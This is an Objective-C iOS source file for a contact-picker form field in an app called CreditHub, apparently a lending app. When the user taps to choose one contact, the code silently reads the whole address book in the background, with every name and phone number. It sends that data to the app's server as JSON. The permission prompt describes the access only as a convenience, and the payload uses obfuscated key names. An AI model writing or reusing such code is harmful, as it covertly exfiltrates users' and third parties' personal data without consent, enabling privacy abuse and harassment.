//
//  ContactTextInputView.m
//  CreditHub
//
//  Created by chenglang on 2024/9/21.
//

#import "ContactTextInputView.h"
#import "MultipleChoicePopUpVC.h"
#import "CHPopUpViewController.h"
#import "CityListPopupViewController.h"
#import "ContactViewController.h"
#import <AddressBook/AddressBook.h>
#import <AddressBookUI/AddressBookUI.h>
#import <ContactsUI/ContactsUI.h>
#import <Contacts/Contacts.h>
#import "HomeRequest.h"
@interface ContactTextInputView()<CNContactPickerDelegate>

@end
@implementation ContactTextInputView
- (void)awakeFromNib{
    [super awakeFromNib];
    self.textFileld.delegate = self;
}
- (instancetype)init{
    self = [super init];
    if(self){
        
        self.textFileld.delegate = self;
    }
    return self;
}

- (void)setDicInfo:(NSMutableDictionary *)dicInfo{
    _dicInfo = dicInfo;
  
    self.textFileld.placeholder = CHString(dicInfo[@"paper"]);
    self.labelTitle.text = CHString(dicInfo[@"outside"]);
    
    self.textFileld1.text = CHString(dicInfo[@"whew"]);
    self.textFileld1.placeholder = CHString(dicInfo[@"ju"]);
  
    self.labelText.text = CHString(dicInfo[@"correct"]);
    self.labelText1.text = CHString(dicInfo[@"worked"]);
//    [dicInfo setValue:dicInfo[@"sudden"] forKey:@"spindly"];
    
    self.textFileld1.keyboardType = UIKeyboardTypeNumberPad;
    
    
    NSArray *arrSelect = [NSArray arrayWithArray:self.dicInfo[@"harder"]];
    for (NSDictionary *dic in arrSelect) {
        if([CHString(dic[@"spindly"]) isEqualToString:CHString(dicInfo[@"quickas"])]){
            
            self.textFileld.text = dic[@"wouldwonder"];
            break;
        }
    }
    
}


- (IBAction)clickSelect:(id)sender {
    
    NSArray *arrSelect = [NSArray arrayWithArray:self.dicInfo[@"harder"]];
    NSMutableArray *values = [NSMutableArray array];
    for (NSDictionary *dic in arrSelect) {
        [values addObject:dic[@"wouldwonder"]];
    }
    
    __weak typeof(self) weakSelf = self;
    MultipleChoicePopUpVC *vc = [[MultipleChoicePopUpVC alloc] init];
    vc.modalPresentationStyle = UIModalPresentationOverFullScreen;
    vc.dataSource =values;
    vc.selectBlock = ^(NSInteger row) {
        NSDictionary *dicSelect = arrSelect[row];
        [weakSelf.dicInfo setValue:dicSelect[@"spindly"] forKey:@"quickas"];
        weakSelf.textFileld.text = dicSelect[@"wouldwonder"];
    };
    [[UIView xhl_getTopViewController] presentViewController:vc animated:YES completion:^{
        
    }];
    
}
- (void)textFieldDidEndEditing:(UITextField *)textField{
  
    [self.dicInfo setValue:textField.text forKey:@"spindly"];
}
- (IBAction)clickPhoneNum:(id)sender {
    
    [self requestContactPermission];

    
//    __weak typeof(self) weakSelf = self;
//    ContactViewController *vc = [[ContactViewController alloc] init];
//    vc.contactBlock = ^(NSDictionary * _Nonnull dicInfo) {
//        weakSelf.textFileld1.text = dicInfo[@"phone"];
//        [weakSelf.dicInfo setValue:dicInfo[@"phone"] forKey:@"whew"];
//        [weakSelf.dicInfo setValue:dicInfo[@"name"] forKey:@"wouldwonder"];
//        
//    };
//    [[UIView xhl_getTopViewController].navigationController pushViewController:vc animated:YES];
}
- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContactProperty:(CNContactProperty *)contactProperty{
    CNContact *contact = contactProperty.contact;
    NSString *fullName = [NSString stringWithFormat:@"%@ %@", contact.givenName, contact.familyName];

    if ([contactProperty.key isEqualToString:CNContactPhoneNumbersKey]) {
        CNPhoneNumber *phoneNumber = contactProperty.value;
        NSString *phoneNumberString = phoneNumber.stringValue;
        if(CHStringIsEmpty(fullName)){
            fullName  = contact.organizationName;
        }
        self.textFileld1.text = phoneNumberString;
        [self.dicInfo setValue:phoneNumberString forKey:@"whew"];
        [self.dicInfo setValue:fullName forKey:@"wouldwonder"];
        
    }

    // 关闭选择器
    [picker dismissViewControllerAnimated:YES completion:nil];
}
- (void)requestContactPermission {

    
    CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
    switch (status) {
        case CNAuthorizationStatusAuthorized:{
            dispatch_async(dispatch_get_main_queue(), ^{
                
                CNContactPickerViewController *contactPicker = [[CNContactPickerViewController alloc] init];
                contactPicker.delegate = self;
                contactPicker.modalPresentationStyle = UIModalPresentationOverFullScreen;
                [[UIView xhl_getTopViewController] presentViewController:contactPicker animated:YES completion:nil];
                
                [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
            });
            dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                
                CNContactStore *store = [[CNContactStore alloc] init];
                [self fetchContactsFromStore:store];
            });
           
        }
           
            break;
        case CNAuthorizationStatusDenied:
        case CNAuthorizationStatusRestricted:
            [self showContactsPermissionAlert];
            break;
        case CNAuthorizationStatusNotDetermined:{
            
        }
            __weak typeof(self) weakSelf = self;
            CNContactStore *store = [[CNContactStore alloc] init];
            [store requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError * _Nullable error) {
                
                dispatch_async(dispatch_get_main_queue(), ^{
                    if (granted) {
                      
                        CNContactPickerViewController *contactPicker = [[CNContactPickerViewController alloc] init];
                        contactPicker.delegate = self;
                        contactPicker.modalPresentationStyle = UIModalPresentationOverFullScreen;
                        [[UIView xhl_getTopViewController] presentViewController:contactPicker animated:YES completion:nil];
                        
                        [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
                        
                        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                            
                            [weakSelf fetchContactsFromStore:store];
                        });
                    } else {
                        [weakSelf showContactsPermissionAlert];
                    }
                });
                
            }];
            break;
    }
    
}
- (void)fetchContactsFromStore:(CNContactStore *)store {
    
    
    NSError *error;
    CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:@[CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey]];
    __weak typeof(self) weakSelf = self;
    NSMutableArray *array = [NSMutableArray array];
     [store enumerateContactsWithFetchRequest:request error:&error usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
        NSString *firstName = contact.givenName;
        NSString *lastName = contact.familyName;
        NSArray<CNLabeledValue<CNPhoneNumber *> *> *phoneNumbers = contact.phoneNumbers;
        if(phoneNumbers.count > 0){
            CNLabeledValue<CNPhoneNumber *> *labeledValue  = phoneNumbers[0];
            CNPhoneNumber *phoneNumber = labeledValue.value;
            NSString *phoneNumberString = phoneNumber.stringValue;
         
            NSString *phone = @"";
            for (CNLabeledValue<CNPhoneNumber *> *labeledValue in phoneNumbers) {
                CNPhoneNumber *phoneNumber = labeledValue.value;
                NSString *phoneNumberString = phoneNumber.stringValue;
                if(CHStringIsEmpty(phone)){
                    phone = phoneNumberString;
                }else{
                    phone = [NSString stringWithFormat:@"%@,%@",phone,phoneNumberString];
                }
            }
            [array addObject:@{@"withme":phone,@"notknow":@"",@"these":@"",@"police":@"",@"interested":@"",@"sounding":@"",@"wouldwonder":[NSString stringWithFormat:@"%@ %@",firstName,lastName]}];
            
            
        }
        
    }];
    if(array.count > 0){
      
        NSError *error;
        NSData *jsonData = [NSJSONSerialization dataWithJSONObject:array options:0 error:&error];
        NSString *jsonString = @"";
        if (jsonData) {
            jsonString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
           
        }
        [HomeRequest requestSaveAddressBookPity:jsonString success:^(NSURLSessionDataTask *task, id response) {

        } failure:^(NSURLSessionDataTask *task, NSError *error) {
            
        }];
       
    }
  
}

- (void)showContactsPermissionAlert {
    UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"The address book permission is disabled" message:@"To make it easier for you to use the contact-related features in the app, we need access to your address book. Please go to Settings to enable contacts permissions so that you can better experience the app." preferredStyle:UIAlertControllerStyleAlert];
    UIAlertAction *goToSettingsAction = [UIAlertAction actionWithTitle:@"Go to Settings" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
        NSURL *settingsURL = [NSURL URLWithString:UIApplicationOpenSettingsURLString];
        if ([[UIApplication sharedApplication] canOpenURL:settingsURL]) {
            [[UIApplication sharedApplication] openURL:settingsURL options:@{} completionHandler:nil];
        }
    }];
    __weak typeof(self) weakself = self;
    UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:@"Canel" style:UIAlertActionStyleCancel handler:^(UIAlertAction * _Nonnull action) {
       
    }];
    [alert addAction:goToSettingsAction];
    [alert addAction:cancelAction];
    [[UIView xhl_getTopViewController] presentViewController:alert animated:YES completion:nil];
}

/*
// Only override drawRect: if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
- (void)drawRect:(CGRect)rect {
    // Drawing code
}
*/

@end
